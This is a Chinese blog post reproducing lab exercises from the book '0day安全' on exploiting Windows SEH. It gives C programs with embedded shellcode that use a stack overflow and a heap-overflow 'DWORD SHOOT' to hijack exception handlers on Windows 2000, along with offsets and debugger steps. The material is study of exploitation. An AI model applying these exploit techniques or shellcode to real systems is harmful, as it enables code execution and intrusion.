本文主要是介绍《0day安全》——狙击Windows异常处理机制(SEH),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
SEH的异常处理模型主要由__try __except语句来完成,与标准的try catch相似。
在栈溢出中利用SEH
#include "stdafx.h"
#include "stdio.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";
void MyExceptionhandler(void)
{printf("got an execption, press Enter to kill process\n");getchar();ExitProcess(1);
}void test(char * input)
{char buf[200];int zero = 0;//__asm int 3__try{strcpy(buf, input);zero = 5 / zero;}__except(MyExceptionhandler()){}
}
int main()
{test(shellcode);return 0;
}
对代码简要解释:
1.函数 test 中存在典型的栈溢出漏洞。
2.__try{}会在 test 的函数栈帧中安装一个 SEH 结构。
3.__try 中的除零操作会产生一个异常。
4.当 strcpy 操作没有产生溢出时,除零操作的异常将最终被 MyExceptionhandler 函数处理。
5.当 strcpy 操作产生溢出,并精确地将栈帧中的 SEH 异常处理句柄修改为 shellcode 的入口地址时,操作系统将会错误地使用shellcode 去处理除零异常,也就是说,代码植入成功。
6.此外,异常处理机制与堆分配机制类似,会检测进程是否处于调试状态。如果直接使用调试器加载程序,异常处理会进入调试状态下的处理流程。因此,我们这里同样采用直接在代码中加入断点_asm int 3,让进程自动中断后再用调试器 attach 的方法进行调试。
这个实验的关键在于确定栈帧中 S.E.H 回调句柄的偏移,然后布置缓冲区,精确地淹没这个位置,将该句柄修改为 shellcode 的起始位置。
环境 | 备注 | |
---|---|---|
操作系统 | Windows2000 | Windows XP SP2和Windows 2003加入了S.E.H的安全检验 |
编译器 | vc++6.0 | |
编译选项 | 默认 | |
build | release版本 | debug版本会失败 |
调试看看,停在test函数的int3处,先看看前一些的代码,首先会在test函数的栈帧中安装一个SEH结构。其实就是先将我们自定义的异常处理的函数的首地址压入栈,将最上面的也压入栈,更新最上面的SEH的值。
观察strcpy和除以0实现
在字符串复制操作完毕后,数组中的 0x90 能够帮我们在调试器中轻易地确定 shellcode 的起始位置 0x0012FE98
OllyDbg 当前线程一共安装了 3 个 SEH,离栈顶最近的位于 0x0012FF68,如果在当前函数内发生异常,首先使用的将是这个 SEH。
剩下的工作就是组织缓冲区,把 0x0012FF6C 处的回调句柄修改成 shellcode 的起始地址0x0012FE98。
缓冲区起始地址 0x0012FE98 与异常句柄 0x0012FF6C 之间共有 212 个字节的间隙,也就是说,超出缓冲区 12 个字节后的部分将覆盖 SEH。
仍然使用弹出“ sunrsunr”消息框的 shellcode 进行测试,将不足 212 字节的部分用 0x90 字节补齐;213~216 字节使用0x0012FE98 填充,用于更改异常回调函数的句柄;最后删去代码中的中断指令_asm int 3。
成功
在堆溢出中利用SEH
#include "stdafx.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"// 0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug
"\x30\xFF\x12\x00";//target of DWORD SHOOT
void MyExceptionhandler(void)
{
ExitProcess(1);
}
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means
__asm int 3 // uesd to break the process
__try
{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
}
__except(MyExceptionhandler()){}
return 0;
}
对代码简要解释:
1.溢出第一个堆块的数据将写入后面的空闲堆块,在第二次堆分配时发生 DWORDSHOOT。
2.将 S.E.H 的异常回调函数地址作为 DWORD SHOOT 的目标,将其替换为 shellcode 的入口地址,异常发生后,操作系统将错误地把 shellcode 当作异常处理函数而执行。
环境 | 备注 | |
---|---|---|
操作系统 | Windows2000 | Windows XP SP2和Windows 2003加入了S.E.H的安全检验 |
编译器 | vc++6.0 | |
编译选项 | 默认 | |
build | release版本 | debug版本会失败 |
除了 DWORD SHOOT 的 target 不一样之外,缓冲区内其余的数据都和前面讲代码植入一样。首先,我们把最后 4 个字节的target 设置为 0x90909090,这显然是一个无效的内存地址,因此会触发异常。我们所需要做的就是在程序运行时,找到 SEH 的位置,然后把 DWORD SHOOT 的 target 指向 S.E.H 的回调句柄。
首先应当确认 OllyDbg 能够捕捉所有的异常,方法是查看菜单“options”下的“debugging option”中“ Exceptions”选项中没有忽略任何类型的异常。
然后按照实验要求将代码编译运行,程序会自动中断,使用 OllyDbg attach 到进程上,直接按 F9 键继续执行。
DWORD SHO OT 发生后,程序产生异常。 OllyDbg 捕捉到异常后会自动中断。
这时查看栈中的 SEH 情况,发现离第一个 SEH 位于 0x0012FF2C 的地方,那么异常回调函数的句柄应该位于这个地址后 4 个字节的位置 0x0012FF30。现在,将 DWORD SHOOT 的目标地址由 0x90909090 改为0x0012FF30,去掉程序中的中断指令,重新编译运行。
消息框成功的弹出,证明 shellcode 得到了执行。
异常处理流程的总结
1.CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。
2.内核异常处理结束,将控制权还给 ring3。
3.ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()函数。
4.KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
5.在非调试状态下, KiUserExceptionDispatcher()调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
6.如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。
7.如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。 U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。
以上就是 Windows 异常处理的基本流程。需要额外注意的是,这个流程是基于 Windows2000 平 台 的 , Windows XP 及 其 以 后 的 操 作 系 统 的 异 常 处 理 流 程 大 致 相 同 , 只 是KiUserExceptionDispatcher()在遍历栈帧中的 S.E.H 之前,会去先尝试一种新加入的异常处理类型 V.E.H( Vectored Exception Handling)。
这篇关于《0day安全》——狙击Windows异常处理机制(SEH)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!